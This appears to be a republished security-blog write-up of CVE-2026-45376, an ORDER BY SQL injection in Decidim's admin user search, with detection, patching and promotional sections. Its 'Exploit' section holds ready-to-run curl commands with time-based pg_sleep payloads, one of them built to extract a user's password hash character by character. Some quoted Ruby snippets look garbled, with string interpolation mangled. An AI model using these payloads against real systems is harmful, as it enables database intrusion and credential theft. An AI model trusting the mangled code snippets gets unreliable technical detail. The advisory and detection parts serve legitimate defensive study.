Listen to this Post
How CVE-2026-45376 Works
The vulnerability exists in the admin organization user search endpoint, exposed as GET /admin/organization/users. The endpoint is defined in `decidim-admin/config/routes.rb` and reaches Decidim::Admin::OrganizationControllerusers, which forwards the current organization’s users into a search function.
Inside the search function, the attacker-controlled source is params[:term]. The query has two branches—nickname and name/email—both using `WHERE` predicates with bind parameters (safe). The vulnerability lies in subsequent `.order(Arel.sql(…))` calls where the untrusted value is interpolated directly into SQL string literals.
In the nickname branch:
.order(Arel.sql(ActiveRecord::Base.sanitize_sql_array("similarity(nickname, '{nickname}') DESC")))
In the name/email branch:
.order(Arel.sql(ActiveRecord::Base.sanitize_sql_array("GREATEST(similarity(name, '{term}'), similarity(email, '{term}')) DESC")))
.order(Arel.sql(ActiveRecord::Base.sanitize_sql_array("(similarity(name, '{term}') + similarity(email, '{term}')) / 2 DESC")))
The use of `sanitize_sql_array` does not make the code safe because interpolation happens first—Rails receives an already-built SQL string rather than a statement with bind placeholders. A quote in `term` can terminate the intended string literal and inject attacker-controlled SQL into the `ORDER BY` expression.
For example, the payload `slpleak ‘), COALESCE((SELECT 1 FROM pg_sleep(21)),0)) –` produces a fragment equivalent to:
GREATEST(similarity(name, 'slpleak '), COALESCE((SELECT 1 FROM pg_sleep(21)),0)) --'), similarity(email, 'slpleak '), COALESCE((SELECT 1 FROM pg_sleep(21)),0)) --')) DESC
The injected subquery is evaluated by PostgreSQL as SQL, not treated as data. Because the sink is in ORDER BY, the endpoint still returns a normal 200 OK response while exposing the issue through measurable timing differences.
Source-to-sink chain:
- Source: `params[:term]`
– Propagation: `term = params[:term].to_s`
– Sink: `.order(Arel.sql(… “{term}” …))` and `.order(Arel.sql(… “{nickname}” …))`
– Effect: attacker-controlled SQL is executed inside the database sort expression
DailyCVE Form:
Platform: Decidim
Version: <0.30.9, 0.31.0.rc1-0.31.4, 0.32.0.rc1
Vulnerability: SQL Injection (ORDER BY)
Severity: Moderate
Date: 2026-07-13
Prediction: 2026-07-13 (patches available)
What Undercode Say:
Analytics – Time-Based Blind SQL Injection Detection
To detect this vulnerability, monitor response time anomalies on `/admin/organization/users` endpoint:
Baseline control request time curl -X GET "http://target.com/admin/organization/users?term=test" \ -H "Accept: application/json" \ -H "Cookie: session=..." Payload request with 21-second sleep time curl -X GET "http://target.com/admin/organization/users?term=slpleak%20%27%29%2C%20COALESCE%28%28SELECT%201%20FROM%20pg_sleep%2821%29%29%2C0%29%29%20--" \ -H "Accept: application/json" \ -H "Cookie: session=..."
If the response time increases by approximately 21 seconds, the endpoint is vulnerable.
Database Query Monitoring – Watch for unusual `ORDER BY` clauses containing subqueries or `pg_sleep` calls:
-- Monitor active queries for suspicious ORDER BY patterns SELECT pid, usename, query, state, query_start FROM pg_stat_activity WHERE query ILIKE '%ORDER BY%pg_sleep%' OR query ILIKE '%ORDER BY%COALESCE%';
Exploit:
Requirements:
- Authenticated admin session
- At least one user record matching the search term
Step-by-step exploitation:
- Authenticate as an organization admin and obtain a valid session cookie.
- Send control request to establish baseline response time:
curl -X GET "http://target.com/admin/organization/users?term=test" \ -H "Accept: application/json" \ -H "Cookie: session=YOUR_SESSION" \ -w "\nTime: %{time_total}s\n"
3. Send time-based payload to confirm SQL injection:
curl -X GET "http://target.com/admin/organization/users?term=slpleak%20%27%29%2C%20COALESCE%28%28SELECT%201%20FROM%20pg_sleep%2821%29%29%2C0%29%29%20--" \
-H "Accept: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-w "\nTime: %{time_total}s\n"
4. Extract data using conditional time-based payloads:
Example: Check if first character of admin password hash is 'a' curl -X GET "http://target.com/admin/organization/users?term=x%27%29%2C%20COALESCE%28%28SELECT%201%20FROM%20pg_sleep%285%29%20WHERE%20SUBSTRING%28%28SELECT%20password_hash%20FROM%20users%20LIMIT%201%29%2C1%2C1%29%3D%27a%27%29%2C0%29%29%20--" \ -H "Cookie: session=YOUR_SESSION"
Protection:
Immediate Actions:
1. Upgrade Decidim to a patched version:
– `0.30.9` or later
– `0.31.5` or later
– `0.32.0` or later
2. Apply the patch from decidim/decidim16668
3. Workaround – Review administrator access and avoid granting admin privileges to untrustworthy users
Code-Level Fix – Replace unsafe interpolation with parameterized queries:
Vulnerable code
.order(Arel.sql(ActiveRecord::Base.sanitize_sql_array("similarity(nickname, '{nickname}') DESC")))
Fixed approach - use bind parameters
.order(Arel.sql("similarity(nickname, ?) DESC", nickname))
Additional Hardening:
- Implement rate limiting on admin search endpoints
- Add request logging for anomalous `ORDER BY` patterns
- Use database-level query monitoring to detect `pg_sleep` and other time-based payloads
Impact:
Exploitation Requirements: Authenticated admin session
Primary Impacts:
- Blind SQL Injection – An authenticated admin can inject arbitrary SQL expressions into the query’s `ORDER BY` clause and use timing differences as a blind SQL oracle
- Data Exfiltration – The injection happens inside a database expression, so the effect is not inherently limited to sorting the current organization user relation. Depending on the privileges of the application’s PostgreSQL role, an attacker may be able to infer data from other tables readable by that role
- Availability Degradation – Repeated long-running payloads can be used to degrade availability by tying up database-backed requests
- No Error Disclosure Needed – The issue remains exploitable even without verbose database errors because time-based payloads such as `pg_sleep` provide a reliable blind side channel
Risk Context: While exploitation requires admin authentication, which limits exposure, the underlying SQL injection risk remains significant as administrators with malicious intent can leverage this for data extraction and denial of service.
References:
- CVE-2026-45376 – GitHub Advisory
- decidim/decidim16668
- OWASP SQL Injection
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

